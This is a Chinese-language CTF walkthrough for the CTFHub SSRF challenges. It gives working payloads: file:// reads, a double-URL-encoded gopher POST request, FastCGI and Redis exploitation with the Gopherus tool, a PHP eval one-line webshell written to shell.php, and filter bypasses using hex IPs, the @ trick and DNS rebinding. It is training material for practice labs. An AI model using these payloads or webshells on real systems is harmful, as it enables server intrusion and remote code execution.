Bootstrap

CTF-Hub SSRF通关攻略

CTFHUB-内⽹访问

直接访问127.0.0.1/flag.php

CTFHUB-读取⽂件

伪协议读取⽂件

/?url=file:///var/www/html/flag.php
打开页面源代码即可看到flag

CTFHUB-端⼝扫描

根据题⽬提示端⼝号在8000-9000之内,使⽤BP抓包并进⾏爆破

/?url=127.0.0.1:8000

添加payload值,设置取值范围

爆破攻击

端口为8118,进入网页访问即可

CTFHUB-POST请求

1.访问 flag.php

2.查看页面源代码,发现key值

3.运用bp进行抓包,之后构造post请求数据包

4.对请求数据包进行url编码

5.将其中的 %0A 替换成 %0d%0A 并且末尾要加上 %0d%0a

6.再次进⾏URL编码

冒号经过二次编码后,不能实现原有作用,将其改回冒号

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250AContent-Length%253A%252036%250d%250AContent-Type%253A%2520application/x-www-form-urlencoded%250d%250A%250d%250Akey%253D2dd5aec21a4004ac0e93293d89744605%250d%250A

7.并使⽤Gopher进⾏攻击访问获得结果

CTFHUB-上传⽂件

1.直接访问127.0.0.1/flag.php

2.没有提交界面,自己⼿动添加提交框并提交⽂件⼤⼩⼤于0的⽂件并抓包

3.bp抓包后,将HTTP头部的Host字段修改为 127.0.0.1:80 然后就是⽼操作...

url编码⼀次在把%0A 换成 %0D%0A ,然后再对url进⾏第⼆次编码...如下

CTFHUB-FastCGI

1.准备⼀句话⽊⻢并构造要执⾏的终端命令:对⼀句话⽊⻢进⾏base64编码且写⼊到名为 shell.php的⽂件中

⼀句话⽊⻢

<?php @eval($_POST['cmd']);?>

base64编码后

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

2..运用kali,使⽤Gopherus⼯具⽣成payload

项⽬地址

git clone https://github.com/tarunkant/Gopherus.git

执⾏命令

python2 gopherus.py --exploit fastcgi

3.将⽣成的payload再进⾏url编码,在网页上传访问

4.利用蚁剑连接木马获取所需flag

CTFHUB-Redis协议

1.利⽤以上⼯具 Gopherus 生成攻击载荷

python2 gopherus.py --exploit redis

2.一句话木马

<?php @eval($_POST['cmd']);?>

3.进⾏⼀次URL编码后并访问上传的⽂件 shell.php

4.利用蚁剑进行连接木马

CTFHUB-URLBypass

如图,请求的URL中必须包含http://notfound.ctfhub.com,在之后输入@127.0.0.1/flag.php

CTFHUB-数字IPBypass

ban掉了127以及172.不能使⽤点分⼗进制的IP了,用别的方式绕过

127.0.0.1–>localhost

127.0.0.1–>7F000001       ⼗六进制

CTFHUB-302跳转 Bypass

尝试访问127.0.0.1/flag.php页面

限制了一些方式进入,尝试绕过方式?url=http://localhost/flag.php

CTFHUB-DNS重绑定Bypass

1.要完成DNS重绑定攻击,我们需要⼀个域名,并且将这个域名的解析指定到我们⾃⼰的DNS

运用题目所给附件进行dns重绑定,在解析⽹站上获取解析到内⽹IP的域名

https://lock.cmpxchg8b.com/rebinder.html

2.访问即可获取其Flag

SSRF漏洞概念

由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制,导致攻 击者可以传⼊任意的地址来让后端服务器对其发送请求,并返回对该⽬标地址请求的数据的Web 安全漏洞!

;